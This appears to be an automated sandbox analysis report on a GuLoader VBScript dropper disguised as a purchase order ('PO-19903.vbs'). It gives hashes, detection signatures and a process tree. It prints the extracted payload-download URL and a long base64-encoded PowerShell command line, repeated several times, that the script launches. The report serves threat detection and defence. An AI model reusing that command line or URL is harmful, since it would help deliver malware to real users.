Windows Analysis Report
PO-19903.vbs

Overview

General Information

Sample Name: PO-19903.vbs
Analysis ID: 625175
MD5: 0347b27843d88f73fdcd4dadb95549ac
SHA1: 2a2d6bcd2d83833d501b9695921855e1992f6ec8
SHA256: 1ab3aacaa62faa6a83173e9191972d427aab92f33c527f6964f141e21c930e67
Tags: GuLoadervbs
Infos:

Detection

GuLoader
Score: 84
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected GuLoader
Wscript starts Powershell (via cmd or directly)
C2 URLs / IPs found in malware configuration
Potential malicious VBS script found (has network functionality)
Encrypted powershell cmdline option found
Very long command line found
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Compiles C# or VB.Net code
Found dropped PE file which has not been started or loaded
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges

Classification

AV Detection
barindex
Found malware configuration
Source: 00000012.00000002.806121442.0000000009200000.00000040.00000800.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://vegproworld.com/wp-content/Touchb.vbs"}
Multi AV Scanner detection for submitted file
Source: PO-19903.vbs ReversingLabs: Detection: 19%
Source: Binary string: k7C:\Users\user\AppData\Local\Temp\nixooqy0\nixooqy0.pdb source: powershell.exe, 00000012.00000002.801305815.0000000004CD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.801562069.0000000004EB4000.00000004.00000800.00020000.00000000.sdmp

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://vegproworld.com/wp-content/Touchb.vbs
Potential malicious VBS script found (has network functionality)
Source: Initial file: Matri11.SaveToFile FileName, adSaveCreateOverWrite
Source: powershell.exe, 00000012.00000002.799500951.0000000004921000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000012.00000002.801078678.0000000004BC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro

System Summary
barindex
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ Jump to behavior
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 19732
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 19732 Jump to behavior
Yara signature match
Source: 00000000.00000003.585259442.000001AB0D281000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_LNK_SuspiciousCommands date = 2018-09-18, author = Florian Roth, description = Detects LNK file with suspicious content, score =
Java / VBScript file with very long strings (likely obfuscated code)
Source: PO-19903.vbs Initial sample: Strings found which are bigger than 50
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 18_2_00FAB478 18_2_00FAB478
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 18_2_07711CA0 18_2_07711CA0
Abnormal high CPU Usage
Source: C:\Windows\System32\wscript.exe Process Stats: CPU usage > 98%
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process Stats: CPU usage > 98%
Source: PO-19903.vbs ReversingLabs: Detection: 19%
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\PO-19903.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nixooqy0\nixooqy0.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA741.tmp" "c:\Users\user\AppData\Local\Temp\nixooqy0\CSCD80281C713344E65BE3EDC717FEDF542.TMP"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nixooqy0\nixooqy0.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA741.tmp" "c:\Users\user\AppData\Local\Temp\nixooqy0\CSCD80281C713344E65BE3EDC717FEDF542.TMP" Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5904:120:WilError_01
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\PO-19903.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220512 Jump to behavior
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\OVER.dat Jump to behavior
Source: classification engine Classification label: mal84.troj.evad.winVBS@8/9@0/0
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: k7C:\Users\user\AppData\Local\Temp\nixooqy0\nixooqy0.pdb source: powershell.exe, 00000012.00000002.801305815.0000000004CD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.801562069.0000000004EB4000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000012.00000002.806121442.0000000009200000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
